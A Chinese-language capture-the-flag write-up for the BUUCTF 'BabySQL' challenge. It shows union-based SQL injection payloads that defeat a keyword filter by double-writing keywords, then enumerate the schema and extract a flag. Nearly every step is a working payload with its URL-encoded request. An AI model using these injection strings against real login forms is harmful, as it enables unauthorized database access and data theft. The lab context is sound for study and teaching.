buuctf[极客大挑战 2019]BabySQL--联合注入、双写过滤

目录

1、测试万能密码：

2、判断字段个数

3、尝试联合注入

4、尝试双写过滤

5、继续尝试列数

6、查询数据库和版本信息

7、查询表名

8、没有找到和ctf相关的内容，查找其他的数据库

9、查看ctf数据库中的表

10、查询Flag表中的字段名

11、查询表中的内容

---

1、测试万能密码：

1' or'1'='1 失败

2、判断字段个数

1’ order by 3# "or"和“by”被过滤

3、尝试联合注入

Payload:1’union select 1#&password=1
url:username=1’union+select+1&password=aa
有回显： You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1#' and password='1'' at line 1

union和select被过滤

4、尝试双写过滤

Payload :username=1’ununionion seselectlect 1#&password=1
url:username=1%27ununionion%20seselectlect%201%23&password=1

有回显： The used SELECT statements have a different number of columns

使用的SELECT语句具有不同数量的列

5、继续尝试列数

Payload：
username=1’ununionion seselectlect 1,2,3#&password=1
Url:
username=1%27ununionion%20seselectlect%201,2,3%23&password=1

有回显登录成功

说明正确的列数为三列

6、查询数据库和版本信息

Payload:

username=1’ununionion seselectlect 1,version(),database()#&password=1

Url:

username=1%27ununionion%20seselectlect%201,version(),database()%23&password=1

有回显：版本为：“ 10.3.18-MariaDB！ ”

数据库为：“geek”

7、查询表名

Payload:

username=1’ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t

ables where table_schema=database()#&password=1

或者

username=1’ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t

ables where table_schema='geek'#&password=1

Url:

对from,or,where进行了过滤,所以需要进行双写过滤

username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=database()%23&password=1

或

username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=%27geek%27%23&password=1

有回显获得表名b4bsql,geekuser！

8、没有找到和ctf相关的内容，查找其他的数据库

Payload:

username=1’ununionion seselectlect 1,2,group_concat(schema_name) frfromom infoorrmation_

schema.schemata#&password=1

Url:

username=1%27ununionion%20seselectlect%201,2,group_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%23&password=1

有回显

9、查看ctf数据库中的表

Payload:

username=1’ununionion seselectlect 1,group_concat(table_name),3 from information_schema.t

ables where table_schema='ctf'#&password=1

URL:

username=1%27ununionion%20seselectlect%201,group_concat(table_name),3%20ffromrom%20infoorrmation_schema.tables%20wwherehere%20table_schema=%27ctf%27%23&password=1

有回显，存在表flag

10、查询Flag表中的字段名

Payload:

username=1’ ununionion seselectlect 1,2,group_concat(column_name) frfromom infoorr

mation_schema.columns whwhereere table_schema=’ctf’#&password=1

Url:

username=1%27%20ununionion%20seselectlect%201,2,group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema=%27ctf%27%23&password=1

有回显，字段名为flag

11、查询表中的内容

Payload:

username=1’ ununionion seselectlect 1,2,group_concat(flag) frfromom ctf.Flag#&password=1

Url:

username=1%27%20ununionion%20seselectlect%201,2,group_concat(flag)%20frfromom%20ctf.Flag%23&password=1

获得flag

参考内容：sql注入之union联合注入_在用户名的输入框中，通过union查询语句，猜测出前面表查询的列数。【查找注入点】-CSDN博客?